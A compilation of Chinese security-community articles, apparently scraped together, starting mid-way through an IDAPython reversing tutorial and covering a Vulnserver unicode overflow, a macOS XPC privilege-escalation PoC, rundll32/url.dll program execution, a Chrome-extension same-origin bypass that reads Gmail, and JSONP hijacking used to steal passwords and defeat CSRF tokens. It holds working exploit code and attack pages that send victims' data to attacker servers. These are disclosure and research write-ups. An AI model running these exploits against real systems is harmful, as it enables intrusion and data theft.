CODE:00431DE1 000 C7 05 F0 85 67 00+ mov ds:dword_6785F0, 4
CODE:00431DEB 000 C7 05 F4 85 67 00+ mov ds:dword_6785F4, 4
CODE:00431DF5
CODE:00431DF5 locret_431DF5:
CODE:00431DF5 000 C3 retn
CODE:00431DF5 sub_431D38 endp
该指令读取token数组地址，然后将其写入另一个全局[15]中。 因为这只是指向我们数组的指针，所以我们也要命名这个地址。
而不是使用IDA的“重命名地址”对话框，或双击“dword_6785EC”并使用带有当前地址的`database.name`。我们实际上是直接从指令的操作数中提取出地址。
这可以通过`instruction.op`函数完成。 如果我们选择地址0x431ddc，我们的全局token数组将驻留在当前指令的第一个操作数中。
我们可以在IDAPython命令行中将其操作数作为命名元组提取：
Python>ins.op(0)
OffsetBaseIndexScale(offset=6784492L, base=None, index=None, scale=1)
由于我们没有提供地址作为`instruction.op`的第一个参数，因此我们假设我们处理的是当前操作。
命名元组的“offset”字段包含我们的dword的地址， 因此我们可以使用以下命令使用已选定的相同地址进行命名。
由于此地址已经具有名称“dword_6785EC”，`database.name`函数将返回原始名称。
Python>ea = ins.op(0).offset
Python>db.name(ea, 'gp','rtfTokenArray(213)')
dword_6785EC
同一个函数对我们之前定义的所有数组的全局指针进行相同的赋值。 我们可以重复此过程来命名所有这些，然后交叉引用它们以找到RTF标记生成器。
现在，让我们在达到这一点之前做好准备。 我们的准备工作只需要回到我们的令牌数组并从中提取字符串。 我们已经有了这些命名，所以我们可以列出以下内容：
Python>db.names.list('gv_rtfToken*')
[11612] 0x668ba8 gv_rtfTokenArray(64)
[11613] 0x668ca8 gv_rtfTokenArray(213)
[11614] 0x668ffc gv_rtfTokenArray(46)
[11615] 0x6690b4 gv_rtfTokenArray(135)
然而我们想要遍历此列表。 `database.names`命名空间包含一个专门用于此目的`iterate（）`函数。
我们可以将它与`database.get.array（）`结合使用，用于将数组存储为单个列表。 在IDAPython命令行，我们将执行以下操作：
Python>tokens = []
Python>for ea, name in db.names.iterate('gv_rtftoken*'):
Python> rtfTokenArray = db.get.array(ea)
Python> tokens.extend(rtfTokenArray)
Python>
Python>len(tokens)
458
我们有一个包含458个地址并指向实际的RTF令牌的列表。 我们将使用快速列表解析将其转换为字符串列表，以将地址映射到字符串。
现在我们可以将令牌标识符转换为其实际的令牌字符串。
Python>tokens = [db.get.string(ea) for ea in tokens]
为了阅读的流畅性，后面的内容我放在下一篇文章中给大家介绍。 | 社区文章 |
# 跟小黑学漏洞利用开发之unicode
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 什么是Unicode？
Unicode为每个字符提供一个唯一的数字，不管平台如何，不管是什么程序，不管什么语言。在Unicode出现之前，ANSI就开始流行。Unicode和ANSI是字符编码的不同方式（或格式）。ANSI字符编码标准是在美国制定的，最多可以对1个字节的字符进行编码，这可以代表255个字符，因为他们的语言是英语，所以最多只能使用128个字符（包括26个字母，10位数字（0-9）和其他标点符号。）因此对他们来说就足够了，但是对于其他国家/地区和语言而言，远远不够！那时，Unicode诞生于统一不同的字符编码系统和方式，它以2个字节对一个字符进行编码，在这种情况下，它可以表示65535个字符（对于所有世界来说就足够了！）例如，当使用unicode将ASCII字符“
\ x41”存储在内存中时，它将截断为“ \ x00 \ x41 \ x00 \
x41”，注意：任何Unicode转换的结果取决于所使用的代码页），请务必记住，ASCII字符只有\x01和\x7f之间。可以查看以下链接以了解有关代码页和unicode的更多信息：
<http://www.ibm.com/developerworks/library/ws-codepages/ws-codepages-pdf.pdf>
接下来，将介绍当缓冲区溢出遇到unicode利用，本次我们依然借助Vulnserver缓冲区演示程序，完成我们的演示。
## 准备
Windows7—Sp1（目标机）
kali-linux（攻击机）
ImmunityDebugger 1.85（调试工具）—x64、OD等动态调试器都可以
VulnServer
需要对了解X86汇编
对python有一定了解
## POC攻击
与往常一样，我们开始模糊测试得出在使用3000个A（使用5000有意外收获！），我们将覆盖EIP，在漏洞利用开发过程中，我们通过修改缓冲区长度确定触发程序是否会以不同方式奔溃，这个在漏洞利用开发过程中是很重要一点。因此我们当前创建POC脚本如图：
在这里我们运行POC脚本将看到程序崩溃情况，如图所示：覆盖EIP地址
我们生成唯一字符串运行漏洞利用程序，寻找偏移值
使用!mona findmsp，该偏移量确定为2003字节。
如图所示，偏移量是完全正确，并且4 B覆盖了EIP。还可以看出，ESP直接位于EIP之后，并指向C的缓冲区。
## 寻找坏字节
为了找到坏字节，我修改了以下代码并将其存储在4个B之后。就像在这里看到的\x7F，此字符\x80随后被转换为\x01。事实证明，之后的每个字符\x7F都将通过减去\x7F进行转换，一直到\xFF。至此我们可以看到允许的字符仅为ASCII（NULL字节除外）。
## 寻找包含ASCII码地址
运行!mona jmp -r esp -cp ascii找到一个包含JMP ESP指令的地址。（注意-cp
ascii选项）。这用于确保结果地址仅包含ASCII字符。为此，我使用了0x62501203地址。
如图所示，它起作用了，被重定向到了C的缓冲区。
## 使用编码器生成shellcode
接下来，我们可以使用alpha_mixed编码器生成了一个shellcode
。我必须使用此编码器来生成仅包含允许的字符列表的shellcode。还应注意，我使用了BufferRegister=ESP选项。如果没有此选项，shellcode操作码将以\x89\xe2\xdb\xdb\xd9\x72开头。因为需要此操作码才能在内存中找到shellcode的位置。在此漏洞利用中，已经知道的shellcode的位置在ESP中。因此，选择在生成shellcode时使用BufferRegister=ESP选项。如果想了解更多关于alpha_mixed编码器，请阅读此（https://www.offensive-security.com/metasploit-unleashed/alphanumeric-shellcode/）。
## 漏洞利用攻击
如之前编写并运行最终漏洞利用程序。如图所示 | 社区文章 |
# 一次对某厂商MacOS客户端软件本地提权漏洞的挖掘与利用
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：[houjingyi](https://houjingyi233.com/)`[@360CERT](https://github.com/360CERT
"@360CERT")`
MacOS客户端软件中经常出现开发者使用XPC没有正确进行验证导致的本地提权漏洞。其实这个漏洞也是无意发现的，因为自己本来也在用这个软件，所以顺手就审计了一下。
首先这个软件是一个垃圾清理软件，注意到后台有一个root权限运行的daemon进程，那么我们直接IDA反编译，找到shouldAcceptNewConnection函数。
开发者还是有一定安全意识的，似乎这里看起来没有什么问题，用codesign检查了程序的签名，所有可执行文件flags=0x10000，无法进行dylib注入。官网上下载链接是`www.xxxx.com/xxx_4.4.0.dmg`，我直接把下载链接改成`www.xxxx.com/xxx_1.1.0.dmg`，下载到了一个非常老的版本，在这个版本中找到了一个flags=0x0的可执行文件，也就是说我们可以dylib注入到这个版本的可执行文件然后与daemon进程通信，这样就绕过了验证，可以调用daemon进程导出的函数。
class-dump一下：
我们先来试试能不能调用导出的buildXPCConnectChannel函数，因为这个函数没有参数，比较简单。在IDA中可以看到该函数会打印一个log：
代码大概是下面这样的：
#import <Foundation/Foundation.h>
static NSString* kXPCHelperMachServiceName = @"xxx";
@protocol xxxDaemonXPCProtocol <NSObject>
- (void)sendDataToDaemon:(NSData *)arg1 withReply:(void (^)(NSData *))arg2;
- (void)buildXPCConnectChannel;
@end
__attribute__((constructor))
static void customConstructor(int argc, const char **argv)
{
NSString* _serviceName = kXPCHelperMachServiceName;
NSLog(@"test");
NSXPCConnection* _agentConnection = [[NSXPCConnection alloc] initWithMachServiceName:_serviceName options:4096];
[_agentConnection setRemoteObjectInterface:[NSXPCInterface interfaceWithProtocol:@protocol(xxxDaemonXPCProtocol)]];
[_agentConnection resume];
[_agentConnection.remoteObjectProxy buildXPCConnectChannel];
NSLog(@"Done!");
return;
}
编译：
`gcc -dynamiclib -framework Foundation poc.m -o poc.dylib`
运行：
`DYLD_INSERT_LIBRARIES=poc.dylib /Users/hjy/Downloads/xxx`
看一下系统日志：
接下来我们想要证明这个漏洞是有实际危害的，通过前面class-dump的结果可以知道还有一个sendDataToDaemon的导出函数，在IDA中看到这个函数调用了cmdDispather函数：
在cmdDispather函数中基本上就可以用root权限做任何事情了：
为了省事，我决定编写一个能够删除任意文件的POC。我可以通过调试程序下断点的方法去弄清楚这里的参数是什么，因为一开始就说了这是一个垃圾清理软件，当我用垃圾清理或者程序删除之类的功能去删除root用户文件的时候前台进程是没有权限删除的，它肯定是调用sendDataToDaemon函数把消息发给daemon进程让daemon进程去删的，所以调试程序触发断点很方便。
最后，我大概搞清楚了这里参数是怎么组成的：首先有4个byte表示总长度，接下来有几个含义未知但是不会变的byte，然后又有4个byte表示剩余部分的长度，接下来是当前用户名和要删除的文件名(ASCII)，最后又有几个含义未知但是不会变的byte。
成功编写出的删除任意文件的POC大概是下面这样的，这个POC能够使得普通用户houjingyi1996删除root用户文件/opt/cisco/anyconnect/ACManifestVPN.xml。
#import <mach-o/dyld.h>
#import <Foundation/Foundation.h>
static NSString* kXPCHelperMachServiceName = @"xxx";
@protocol xxxDaemonXPCProtocol <NSObject>
- (void)sendDataToDaemon:(NSData *)arg1 withReply:(void (^)(NSData *))arg2;
- (void)buildXPCConnectChannel;
@end
__attribute__((constructor))
static void customConstructor(int argc, const char **argv)
{
NSString* _serviceName = kXPCHelperMachServiceName;
Byte byte[] = {0x4d, 0x00, 0x00, 0x00, 0x46, 0x1f, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, \
0x36, 0x00, 0x00, 0x00, 0x68, 0x6f, 0x75, 0x6a, 0x69, 0x6e, 0x67, 0x79, 0x69, 0x31, 0x39, 0x39, \
0x36, 0x00, 0x2f, 0x6f, 0x70, 0x74, 0x2f, 0x63, 0x69, 0x73, 0x63, 0x6f, 0x2f, 0x61, 0x6e, 0x79, \
0x63, 0x6f, 0x6e, 0x6e, 0x65, 0x63, 0x74, 0x2f, 0x41, 0x43, 0x4d, 0x61, 0x6e, 0x69, 0x66, 0x65, \
0x73, 0x74, 0x56, 0x50, 0x4e, 0x2e, 0x78, 0x6d, 0x6c, 0x00, 0x00, 0x00, 0x01};
//0x4d, 0x00, 0x00, 0x00 总长度
//0x46, 0x1f, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00 含义未知
//0x36, 0x00, 0x00, 0x00 应该是剩余部分的长度(不算最后的0x00, 0x00和0x01)
//0x68, 0x6f, 0x75, 0x6a, 0x69, 0x6e, 0x67, 0x79, 0x69, 0x31, 0x39, 0x39, 0x36 用户名(ASCII)
//剩下的部分是文件名, 这里是/opt/cisco/anyconnect/ACManifestVPN.xml(ASCII)
//0x00, 0x00, 0x01 最后这三个字节，含义未知
NSData *arg1 = [[NSData alloc]initWithBytes:byte length:77];
NSXPCConnection* _agentConnection = [[NSXPCConnection alloc] initWithMachServiceName:_serviceName options:4096];
[_agentConnection setRemoteObjectInterface:[NSXPCInterface interfaceWithProtocol:@protocol(xxxDaemonXPCProtocol)]];
[_agentConnection resume];
[_agentConnection.remoteObjectProxy buildXPCConnectChannel];
[[_agentConnection remoteObjectProxyWithErrorHandler:^(NSError* error) {
(void)error;
NSLog(@"Failure");
}]sendDataToDaemon:arg1 withReply:^(NSData * err)
{
NSLog(@"Success");
}];
NSLog(@"Done!");
return;
}
我向厂商提交了POC和演示视频之后厂商很快确认并修复了漏洞。修复方法也很简单，再检查一下程序的版本号就可以了。
## 最后
1.编写的程序如果需要在高权限下运行或者导出了危险的接口，必须经过仔细的审计。
2.和windows系统上的dll注入一样，厂商往往会不太注意dylib注入这样的问题，然而在一些场景下dll/dylib注入可能会导致非常严重的后果。 | 社区文章 |
## 0x00 前言
* * *
最近看到了一篇有趣的文章[《Abusing Exported Functions and Exposed DCOM Interfaces for Pass-Thru Command Execution and Lateral
Movement》](https://bohops.com/2018/03/17/abusing-exported-functions-and-exposed-dcom-interfaces-for-pass-thru-command-execution-and-lateral-movement/)，介绍了利用rundll32.exe加载url.dll，通过导出函数OpenURL执行程序的方法。于是我对此做了研究，整理成文，解决以下问题：
* 利用rundll32执行程序的细节和原理
* 利用脚本批量扫描dll，查找能够执行程序的dll
## 0x01 简介
* * *
本文将要介绍以下内容：
* rundll32加载dll的用法
* OpenURL的用法
* API ShellExecute的用法
* 三者结合实现通过rundll32直接执行程序
* 寻找其他可用的导出函数
* 利用powershell脚本批量获得dll的导出函数，筛选特定dll
## 0x02 相关细节
* * *
### 1、rundll32加载dll的用法
官方文档：
<https://support.microsoft.com/sk-sk/help/164787/info-windows-rundll-and-rundll32-interface>
用法：
rundll32 <dllname>,<entrypoint> <optional arguments>
参数`<entrypoint>`代表传入dll的导出函数名，在dll中定义如下：
void CALLBACK EntryPoint(HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine, int nCmdShow);
参数`<optional arguments>`对应dll导出函数中的`LPSTR lpszCmdLine`
也就是说通过rundll32能控制dll导出函数的`LPSTR lpszCmdLine`参数
### 2、OpenURL的用法
这里直接参考文章中的提示，找到url.dll，包含导出函数OpenURL
使用IDA查看url.dll的导出函数OpenURL，其中调用了API ShellExecute，如下图
查看伪代码，如下图
注意ShellExecute的第二个参数为NULL，第三个参数lpFile对应传入的参数lpFile
### 3、API ShellExecute的用法
函数原型与参数定义如下：
HINSTANCE ShellExecute(
_In_opt_ HWND hwnd,
_In_opt_ LPCTSTR lpOperation,
_In_ LPCTSTR lpFile,
_In_opt_ LPCTSTR lpParameters,
_In_opt_ LPCTSTR lpDirectory,
_In_ INT nShowCmd
);
第二个参数为NULL时，表示执行默认操作"open"
第三个参数lpFile表示要打开的程序或文件路径
也就是说，url.dll中导出函数OpenURL的参数lpFile决定API ShellExecute要打开的程序或文件路径
综上，
rundll32.exe url.dll,OpenURL calc.exe
实际上的操作为`ShellExecuteA(hwnd, NULL, "calc.exe", NULL, NULL, nShowCmd);`，即执行计算器
使用Immunity Debugger动态调试，跟踪到`ShellExecuteA`，验证判断，传入的参数为`calc.exe`，如下图
## 0x03 扩展利用
* * *
### 1、查找url.dll中其它可供利用的导出函数
IDA加载url.dll，选择`Search` \- `text...`，搜索`ShellExecuteA`
导出函数FileProtocolHandler同样调用API ShellExecute，如下图
测试命令如下：
rundll32.exe url.dll,FileProtocolHandler calc.exe
执行计算器
### 2、查看其它dll是否包含导出函数OpenURL
**实现思路：**
枚举`%windir%/system32`下所有dll的导出函数，筛选出包含导出函数OpenURL的dll
通过powershell获得dll的导出函数可参考FuzzySecurity的代码，地址如下：
<https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Get-Exports.ps1>
在这个代码的基础上，添加枚举dll的功能，分别获得导出函数，进行判断
**实现细节：**
(1)枚举`c:\windows\system32`下的所有dll：
$DllSearchPath = dir c:\windows\system32\*.dll
foreach($DllName in $DllSearchPath)
{
$DllName.Name
}
(2)对于`c:\windows\system32\auditpolmsg.dll`
会报错提示输入字符串的格式不正确，所以对语句`$OffsetPtr = New-Object System.Intptr -ArgumentList
$($HModule.ToInt64() + $ExportRVA)`加入try catch判断
代码位置：
<https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Get-Exports.ps1#L141>
(3)对于`c:\windows\system32\avicap.dll`
会报错，尝试读取或写入受保护的内存，对语句`$EXPORT_DIRECTORY_FLAGS =
[system.runtime.interopservices.marshal]::PtrToStructure($OffsetPtr,
[type]$IMAGE_EXPORT_DIRECTORY)`
加入try catch判断
(4)目前代码只支持32位dll的判断
完整代码可参考：
<https://raw.githubusercontent.com/3gstudent/Writeup/master/Find-OpenURL.ps1>
执行如下图，获得其他两个dll，分别为ieframe.dll和shdocvw.dll
使用IDA加载ieframe.dll，查看导出函数OpenURL，伪代码如下图
由`CInternetShortcut`可以得知执行的文件为.url文件
编写一个.url文件，内容如下：
[InternetShortcut]
URL=c:\windows\system32\calc.exe
cmd:
rundll32.exe ieframe.dll,OpenURL C:\4\calc.url
成功执行，弹出计算器
同样，shdocvw.dll也是相同的测试结果
### 3、执行的程序类型
调用API ShellExecute执行程序，不仅支持exe，也同样支持脚本
例如执行js文件，内容如下：
WScript.Echo("1");
cmd：
rundll32.exe url.dll,OpenURL C:\4\echo.js
执行后弹框
例如hta文件，内容如下：
<HTML>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<HEAD>
<script language="VBScript">
Window.ReSizeTo 0, 0
Window.moveTo -2000,-2000
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "calc.exe"
self.close
</script>
<body>
demo
</body>
</HEAD>
</HTML>
cmd:
rundll32.exe url.dll,OpenURLA C:\4\calc.hta
执行后弹出计算器
例如url文件，内容如下：
[InternetShortcut]
URL=c:\windows\system32\calc.exe
cmd:
rundll32.exe ieframe.dll,OpenURL C:\4\calc.url
成功执行，弹出计算器
### 4、更多利用方法
hexacorn在他的[文章](http://www.hexacorn.com/blog/2017/05/01/running-programs-via-proxy-jumping-on-a-edr-bypass-trampoline/)里分享了另一个可供使用的dll和导出函数：
rundll32 zipfldr.dll, RouteTheCall calc.exe
当然，还有更多可供使用的dll，本文暂不介绍
## 0x04 小结
* * *
本文分析了利用rundll32.exe加载url.dll并通过导出函数OpenURL执行程序的细节，对其扩展，尝试利用脚本批量扫描`%windir%/system32`下的dll，找到能够执行程序的dll，分别验证了bohops和Hexacorn的结论。 | 社区文章 |
# 通过Chrome扩展应用的同源策略绕过漏洞读取用户电子邮件
|
##### 译文声明
本文是翻译文章，文章原作者 Matthew Bryant，文章来源：thehackerblog.com
原文地址：<https://thehackerblog.com/reading-your-emails-with-a-readwrite-chrome-extension-same-origin-policy-bypass-8-million-users-affected/index.html>
译文仅供参考，具体内容表达以及含义原文为准。
## 归纳
由于在从常规网页传递的消息中缺乏适当的origin检查，网页能够通过[Read&Write
Chrome扩展](https://chrome.google.com/webstore/detail/readwrite-for-google-chro/inoeonmfapjbbkmdafoankkfajkcphgd?hl=en)(易受攻击的版本1.8.0.139)调用敏感的后台API。这些API中的很多都允许危险的操作，这些操作并不意味着可以通过互联网上的任意网页进行调用。例如，带有方法名“thGetVoice”的后台API调用允许提供一个任意URL，该URL将由扩展检索，并通过“postMessage”返回响应。通过滥用此调用，攻击者可以劫持该扩展，从而使用受害者经过身份验证的会话从其他网站读取数据。作为一个PoC，我创建了一个利用，当Read&Write扩展安装时，将窃取和显示所有用户的电子邮件。这当然不是Gmail中的漏洞，但是可以使用这个漏洞进行利用。请参阅下面的视频PoC来演示此问题。
这个拓展应用的作者[texthelp](https://www.texthelp.com/en-us/)公司迅速修补并在下一个工作日发布了一个补丁(干得好！)。因此，扩展的最新版本不再容易受到此问题的影响。他们还表现出真正的兴趣和关心补救扩展中的进一步问题，并表示他们将进一步加强代码库。
## 技术说明
Read&Write Chrome扩展使用内容脚本“inject.js”将自定义工具栏注入到各种在线文档页面中，如Google
Docs。默认情况下，该内容脚本被注入到所有HTTP和HTTPS源中。扩展清单中的以下摘录说明了这一点：
...trimmed for brevity...
"content_scripts": [
{
"matches": [ "https://*/*", "http://*/*" ],
"js": [ "inject.js" ],
"run_at": "document_idle",
"all_frames": true
}
],
...trimmed for brevity...
在“inject.js”文件中，有一个事件监听器，用于监听被注入注入网页使用postMessage发送的消息：
window.addEventListener("message", this.onMessage)
这将在网页窗口发送任何postMessage消息时调用“this.onMessage”函数。以下是这个功能的代码：
function onMessage() {
void 0 != event.source && void 0 != event.data && event.source == window && "1757FROM_PAGERW4G" == event.data.type && ("connect" == event.data.command ? chrome.extension.sendRequest(event.data, onRequest) : "ejectBar" == event.data.command ? ejectBar() : "th-closeBar" == event.data.command ? chrome.storage.sync.set({
enabledRW4GC: !1
}) : chrome.extension.sendRequest(event.data, function(e) {
window.postMessage(e, "*")
}))
}
在上面的代码片段中，可以看到该函数将通过“chrome.extendsion.sendRequest”将所有接收到的postMessage消息传递到后台页面。此外，对这些消息的响应将传回“onMessage”函数，然后传回网页。这实际上构造了一个代理，它允许常规Web页面向Read&Write后台页面发送消息。
Read&Write有多个后台页面，可以在扩展名清单的摘录中看到：
...trimmed for brevity...
"background": {
"scripts": [
"assets/google-analytics-bundle.js",
"assets/moment.js",
"assets/thFamily3.js",
"assets/thHashing.js",
"assets/identity.js",
"assets/socketmanager.js",
"assets/thFunctionManager.js",
"assets/equatio-latex-extractor.js",
"assets/background.js",
"assets/xmlIncludes/linq.js",
"assets/xmlIncludes/jszip.js",
"assets/xmlIncludes/jszip-load.js",
"assets/xmlIncludes/jszip-deflate.js",
"assets/xmlIncludes/jszip-inflate.js",
"assets/xmlIncludes/ltxml.js",
"assets/xmlIncludes/ltxml-extensions.js",
"assets/xmlIncludes/testxml.js"
]
},
...trimmed for brevity...
虽然有很多读取消息的后台页面（以及通过这些消息调用的许多函数），但我们将专注于立即可利用的示例。以下是文件“background.js”的摘录：
...trimmed for brevity...
chrome.extension.onRequest.addListener(function(e, t, o) {
...trimmed for brevity...
if ("thGetVoices" === e.method && "1757FROM_PAGERW4G" == e.type) {
if (g_voices.length > 0 && "true" !== e.payload.refresh) return void o({
method: "thGetVoices",
type: "1757FROM_BGRW4G",
payload: {
response: g_voices
}
});
var c = new XMLHttpRequest;
c.open("GET", e.payload.url, !0), c.onreadystatechange = function() {
4 == this.readyState && 200 == this.status && (g_voices = this.responseText.toString(), o({
method: "thGetVoices",
type: "1757FROM_BGRW4G",
payload: {
response: g_voices
}
}))
}, c.send()
}
...trimmed for brevity...
上面的代码片断显示，当“chrome.extension.onRequest”侦听器的“method”设置为“thGetVoices”，“type”设置为“1757FROM_PAGERW4G”，并且被一个事件触发时，将执行代码片段。如果事件的“payload.refresh”设置为字符串“true”，那么XMLHTTPRequest将通过GET触发“payload.url”中指定的URL。在XMLHTTPRequest以200的状态码完成时，将使用请求的responseText生成响应消息。
通过滥用这个调用，我们可以用一个任意的URL向后台页面发送一条消息，这个URL将被HTTP响应主体回复。该请求将使用受害者的Cookie执行，因此将允许任意网页上的有效内容从其他网络来源窃取内容。以下payload是这个概念的PoC示例：
function exploit_get(input_url) {
return new Promise(function(resolve, reject) {
var delete_callback = false;
var event_listener_callback = function(event) {
if ("data" in event && event.data.payload.response) {
window.removeEventListener("message", event_listener_callback, false);
resolve(event.data.payload.response);
}
};
window.addEventListener("message", event_listener_callback, false);
window.postMessage({
type: "1757FROM_PAGERW4G",
"method": "thGetVoices",
"payload": {
"refresh": "true",
"url": input_url
}
}, "*");
});
}
setTimeout(function() {
exploit_get("https://mail.google.com/mail/u/0/h/").then(function(response_body) {
alert("Gmail emails have been stolen!");
alert(response_body);
});
}, 1000);
上述攻击代码显示，可以通过这个漏洞读取跨源响应。在这个例子中，提供了Gmail“Simple
HTML”版本的端点。上述payload可以托管在任何网站，它将能够读取登录到Gmail的用户的电子邮件。这是通过使用具有适当payload集的postMessage发出消息并为响应消息添加事件侦听器来完成的。通过“exploit_get()”函数返回的一连串JavaScript
promise，我们可以从用户经过身份验证的任何站点窃取数据(假设可以通过HTTP GET访问这些数据，而不需要任何特殊的头文件)。
虽然上述示例引用了“thGetVoices”后台方法调用，但这只是调用这些后台页面API时发生的漏洞之一。除了使用这个调用之外，还有一些可以被利用的漏洞例子如下：
> thExtBGAjaxRequest”，攻击者可以使用它执行带有参数的“application/x-www-form-> urlencoded；charset=UTF-8”类型的任意POST请求并读取响应体。
>
> “OpenTab”，它允许攻击者对通常仅限于网页的任意位置打开大量的选项卡。
## PoC视频
<https://youtu.be/F0M_WuBGUV4>
##
## 根源与修复思路
这个漏洞展示了一个通常与扩展一起发生的常见的安全隐患。为了更灵活地使用ChromeExtensionAPI，许多扩展将构建一个桥接，允许从常规的Web上下文调用后台页面。许多Chrome扩展开发人员忘记验证消息的来源，以防止任意站点调用潜在敏感的功能。这样可以确保所有调用都是由用户操作触发的，而不是由攻击者伪造的。
## timeline
6月2日（星期五晚上）：报告漏洞。
6月3日：确认收到问题，确认将于周一发布。
6月4日（星期一）：补丁发布漏洞。 | 社区文章 |
第一次遇到了jsonp劫持漏洞，并且通过此漏洞绕过token进行成功的csrf攻击，仅以此文进行记录分享。
# JSONP
## 什么是jsonp？
Jsonp(JSON with Padding) 是 json 的一种"使用模式"，可以让网页从别的域名（网站）那获取资料，即跨域读取数据。
JSONP的语法和JSON很像，简单来说就是在JSON外部用一个函数包裹着。JSONP基本语法如下：
`callback({ "name": "kwan" , "msg": "获取成功" });`
JSONP原理就是动态插入带有跨域url的`<script>`标签，然后调用回调函数，把我们需要的json数据作为参数传入，通过一些逻辑把数据显示在页面上。
常见的jsonp形式类似：
`http://www.test.com/index.html?jsonpcallback=hehe`
传过去的hehe就是函数名，服务端返回的是一个函数调用，可以理解为：evil就是一个函数，(["customername1","customername2"])就是函数参数，网站前端只需要再编写代码处理函数返回的值即可。
## jsonp劫持漏洞
漏洞很简单，在本地复现一下。
【JSONP_callback.php】：jsonp接口，返回用户的账户密码(简单起见，就直接写死返回值了)
<?php
header('Content-type: application/json');
$callback = $_GET["callback"];
//json数据
$json_data = '{"customername1":"user1","password":"12345678"}';
//输出jsonp格式的数据
echo $callback . "(" . $json_data . ")";
?>
请求该接口并加上`callback=hello`，返回值如下
在返回值开头中可见`hello`，如果我们修改`callback`的值为其他值，此处的返回值也会相应改变。我们可以劫持callback参数，自己构造callback处理函数，受害者点击我们伪造的链接后，向真正的jsonp接口发起请求，请求得到数据的处理方式由我们自己的callback处理函数处理，由此可以达到劫持目的。
比如，我们编写如下攻击页面：
<html>
<head>
<title>test</title>
<meta charset="utf-8">
<script type="text/javascript">
function hehehe(obj){
alert(obj["password"]);
var myForm = document.createElement("form");
myForm.action="http://localhost/JSONP_redirect.php";
myForm.method = "GET";
for ( var k in obj) {
var myInput = document.createElement("input");
myInput.setAttribute("name", k);
myInput.setAttribute("value", obj[k]);
myForm.appendChild(myInput);
}
document.body.appendChild(myForm);
myForm.submit();
document.body.removeChild(myForm);
}
</script>
</head>
<body>
<script type="text/javascript" src="http://localhost/JSONP_callback.php?callback=hehehe"></script>
</body>
</html>
用户访问此页面后，会自动去请求JSONP_callback.php，返回值会进入hehehe函数进行处理，在hehehe函数中，会弹出密码值、创建表单自动提交用户密码到攻击者服务器、最后重定向到百度。实际效果如下：
删除弹窗之后，攻击过程对受害者就是完全不可见的。
# 绕过token防护进行csrf攻击
JSONP劫持其实是属于CSRF攻击范畴的，毕竟要拿到敏感数据是需要用户登陆并点击的，所以JSONP劫持是CSRF攻击的一种手段。既然属于CSRF攻击范畴，那么JSONP劫持所作的自然也不止是读取敏感信息（其实在这点上，单独的csrf攻击还不好去读取敏感数据），利用JSONP还可以在某些情况下绕过csrf常见防护形式之一的token防护。
如开头所说，我上周成功利用了JSONP劫持来完成了一次csrf攻击，我以此例来说明如果通过JSONP绕过token防护进行csrf攻击。
首先，在目标站上的请求中我发现总是有参数`jscallback`和`htmlcallback`，所以我在一个返回敏感信息的url后面添加了这2个参数，发现均有返回，成功确认此处有jsonp劫持漏洞，然后，我开始去寻找更多的jsonp接口，出乎意料的是，我发现在整个网站上都存在jsonp劫持，而不是单纯在某个连接上。我猜测这一情况的原因是网站每个页面上的通用代码出了问题，或者是某个js文件出了问题。我查看了几个页面的源代码，发现可能是第一种原因，我在这些源码找到了多个jscallback和htmlcallback。有了jsonp之后，我像上面一样编写攻击页面来获取敏感信息。
然后在对关键操作进行csrf漏洞挖掘的时候，我发现在表单中有个隐藏的token值，灵光一闪！既然全站都有jsonp，我为什么不在这个操作页面通过jsonp获取到整个页面代码，读取其中的token值，再构造完整的表单，自动提交即可完成csrf攻击！完美的操作。
说干就干，确定这个页面的jsonp没有问题(这儿的图截错了，忘了改callback参数值)：
编写攻击页面的代码如下：
<html>
<head>
<title>test</title>
<meta charset="utf-8">
</head>
<body>
<div id="test"></div>
<script type="text/javascript">
function test(obj){
// 获取对象中的属性值
var content = obj['html']
// 正则匹配出参数值
var token=content.match('token = "(.*?)"')[1];
// 添加表单节点
var parent=document.getElementById("test");
var child=document.createElement("form");
child.method="POST";
child.action="http://vuln.com/del.html";
child.id="test1"
parent.appendChild(child);
var parent_1=document.getElementById("test1");
var child_1=document.createElement("input");
child_1.type="hidden";child_1.name="token";child_1.value=token;
var child_2=document.createElement("input");
child_2.type="submit";
parent_1.appendChild(child_1);
parent_1.appendChild(child_2);
}
</script>
<script type="text/javascript" src="http://vuln.com/caozuo.html?htmlcallback=test"></script>
</body>
</html>
htmlcallback返回一个对象obj，以该对象作为参数传入test函数，操作对象中属性名为html的值，正则匹配出token，再加入表单，自动提交表单完成操作，用户点击该攻击页面即收到csrf攻击。
在一个功能点完成csrf攻击后，我基本可以基于此，完成全站的csrf攻击。
但是，在操作另一个功能点时，发现该功能点还进行referer验证，需要绕过referer。绕过referer也是csrf攻击中常见的场景了，常见绕过方法：
* 空referer
* referer过滤不严谨
这几天我还看到了一个方法，没有试验过：[使用requset merging bypass
referer(jsonp)检测](http://docs.ioin.in/writeup/threathunter.org/_topic_59a9329cec721b1f1966ea2e/index.html)
可以看到，想要通过jsonp劫持来绕过token进行csrf还是挺麻烦的，条件太多：
1. 有jsonp劫持
2. 能在源码里找到token
3. 没有referer防护
jsonp除了连打csrf之外，还可以连打xss，即把callback参数值写成xss payload：
`?callback=<script>alert()</script>`
# 防护建议
摘自:<http://blog.knownsec.com/2015/03/jsonp_security_technic/>
1、严格安全的实现 CSRF 方式调用 JSON 文件：限制 Referer 、部署一次性 Token 等。
2、严格安装 JSON 格式标准输出 Content-Type 及编码（ Content-Type : application/json;
charset=utf-8 ）。
3、严格过滤 callback 函数名及 JSON 里数据的输出。
4、严格限制对 JSONP 输出 callback 函数名的长度(如防御上面 flash 输出的方法)。
5、其他一些比较“猥琐”的方法：如在 Callback 输出之前加入其他字符(如：/**/、回车换行)这样不影响 JSON
文件加载，又能一定程度预防其他文件格式的输出。还比如 Gmail 早起使用 AJAX 的方式获取 JSON ，听过在输出 JSON 之前加入
while(1) ;这样的代码来防止 JS 远程调用
# 参考
<http://blog.knownsec.com/2015/03/jsonp_security_technic/>
<https://xz.aliyun.com/t/176>
